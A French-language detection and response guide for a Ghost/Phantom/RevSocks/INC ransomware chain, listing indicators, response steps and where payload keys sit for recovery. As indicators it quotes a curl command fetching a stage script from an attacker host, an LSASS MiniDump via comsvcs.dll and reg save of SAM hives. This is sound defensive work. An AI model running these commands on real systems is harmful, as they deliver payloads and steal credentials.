Guide de détection et de réponse : chaîne Ghost, Phantom, RevSocks et INC
Ce guide s'adresse à quelqu'un qui doit vérifier ou nettoyer un environnement, pas à des analystes. Il s'appuie sur inc-ghost-phantom-killchain.md ; je n'ai exécuté aucun échantillon, tout ce qui suit vient de la lecture du code et des captures publiques.
1. Suis-je concerné ?#
Cherchez, dans l'ordre de la chaîne :
- Livraison. Un document Word dont l'ouverture crée un processus par WMI et exécute
curl.exe -sk -o %TEMP%\u.cmd http://<adresse>:8000/scripts/stage1.cmd. Fichier%TEMP%\u.cmd. - Implants. Mutex
Global\WinSvcUpdate_7B3F,Global\31ae8e4090b03c3e,Global\d7fe5d6dcf01bf1b. Fichiers%TEMP%\msedge_update.exe,ProgramData\Microsoft\Windows\WER\ReportQueue\marker.tmp. Processuspythonw.exeexécutantsvc.py. - Réseau. Connexions vers
89.185.83[.]8,77.110.109[.]248,138.124.123[.]56:8443,45.227.254[.]45:8000, résolutions deapi.system-strategy[.]orgetcdn.system-strategy[.]org, requêtes HTTPS dont l'en-têteHostne correspond pas à l'adresse contactée, requêtes versapi.telegram.orgdepuis un processus qui n'est pas un client Telegram. - Post-exploitation. Chargement de
zam64.sys, périphérique\\.\ZemanaAntiMalware,rundll32 comsvcs.dll, MiniDumpversC:\Windows\Temp\d.dmp,reg savede SAM, SECURITY et SYSTEM versC:\Windows\Temp, exécutablesresticou clients S3 sortants vers un stockage objet inhabituel. - Impact.
INC-README.txt, extension.INC,INC.log, arrêt de services de sauvegarde.
Un seul de ces indicateurs ne prouve rien, plusieurs ensemble désignent cette chaîne.
2. Que faire en cas de détection#
- Isoler les machines concernées. Les implants sont interactifs et l'opérateur peut réagir.
- Conserver les images mémoire : les payloads (Meterpreter, shellcode du cradle) n'existent pas sur disque.
- Considérer comme compromis tous les identifiants vus par les machines touchées, en priorité ceux qu'un vidage de LSASS aurait contenus, et les comptes de service. Les rotations doivent couvrir la fenêtre d'accès probable.
- Vérifier les sauvegardes avant toute restauration : les outils recherchent et ciblent les services de sauvegarde.
- Rechercher le vecteur initial. L'article associé à cette chaîne cite l'exploitation de services exposés (FortiClient EMS, SimpleHelp, cPanel) en plus de l'hameçonnage par modèle Word. Croiser avec votre exposition.
- Si un binaire Ghost à canal Telegram est récupéré, extraire l'identifiant du bot et le signaler à Telegram avec l'échantillon. Ne pas utiliser le jeton.
3. Récupération de charges sans exécuter#
Les secrets accompagnent toujours ce qu'ils protègent :
| Étage | Où trouver la clé |
|---|---|
| Chargeur Meterpreter | .data du chargeur, 32 octets de clé et 16 octets d'IV |
| Cradle PowerShell | 32 premiers octets de la réponse serveur (clé), 16 suivants (IV) |
| Chargeur RevSocks v2 | Constante XOR de 32 octets deadbeefcafebabe... |
| Injecteur RevSocks | 32 octets en .data du chargeur |
| Implants Ghost | Chaîne base64 de 32 octets dans .rdata, clé de chiffrement et de HMAC |
Si une capture réseau ou une copie de la réponse /api/v2/update existe, le shellcode se déchiffre sans passer par le malware. Si un exemplaire de agent.enc existe, il suffit d'un XOR avec la clé du chargeur correspondant.
4. Indicateurs#
Voir iocs.csv et le §15 du rapport. Règles YARA : ghost_phantom_toolchain.yar.
Règle de chasse supplémentaire, indépendante du hash : tout exécutable signé par un certificat auto-signé dont le sujet est CN=Microsoft Corporation, O=Microsoft Corporation sans pays ni localité n'est pas signé par Microsoft.
5. Ce que cette analyse n'apporte pas#
Elle ne dit rien de ce que l'opérateur fait après connexion, ni de l'état actuel de son infrastructure. Les encrypteurs INC chiffrent avec un échange X25519 : chaque exécution tire une clé éphémère et la combine à une clé publique de l'opérateur propre à la victime (confirmé dans le build ELF x86_64). Sans la clé privée correspondante, un déchiffrement sans l'opérateur n'est pas démontré. Les clés publiques identifient la victime, ce qui les rend utiles à un service d'enquête.